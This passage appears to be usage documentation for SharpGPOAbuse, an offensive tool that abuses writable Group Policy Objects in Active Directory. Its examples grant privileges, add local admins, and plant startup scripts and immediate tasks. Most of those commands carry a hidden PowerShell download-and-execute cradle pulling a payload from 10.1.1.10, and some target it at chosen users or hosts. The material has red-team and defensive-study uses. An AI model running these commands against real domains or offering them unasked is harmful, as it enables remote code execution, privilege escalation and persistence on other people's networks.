--UserRights
        Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
        Set the account to add the new rights.
--GPOName
        The name of the vulnerable GPO.
        
Example:
        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Adding a Local Admin

Options required to add a new local admin:
--UserAccount
        Set the name of the account to be added in local admins.
--GPOName
        The name of the vulnerable GPO.

Example:

Options required to add a new user or computer startup script:
--ScriptName
        Set the name of the new startup script.
--ScriptContents
        Set the contents of the new startup script.

        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Configuring a Computer or User Immediate Task

Options required to add a new computer or user immediate task:

--Arguments
        Arguments passed to the command.
--GPOName
        The name of the vulnerable GPO.

Additional User Task Options:
--FilterEnabled
        Enable Target Filtering for user immediate tasks.
--TargetUsername
        The user to target. The malicious task will run only on the specified user. Should be in the format <DOMAIN>\<USERNAME>
--TargetUserSID

Additional Computer Task Options:
--FilterEnabled
        Enable Target Filtering for computer immediate tasks.
--TargetDnsName
        The DNS name of the computer to target. The malicious task will run only on the specified host.
        
Example: 
        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
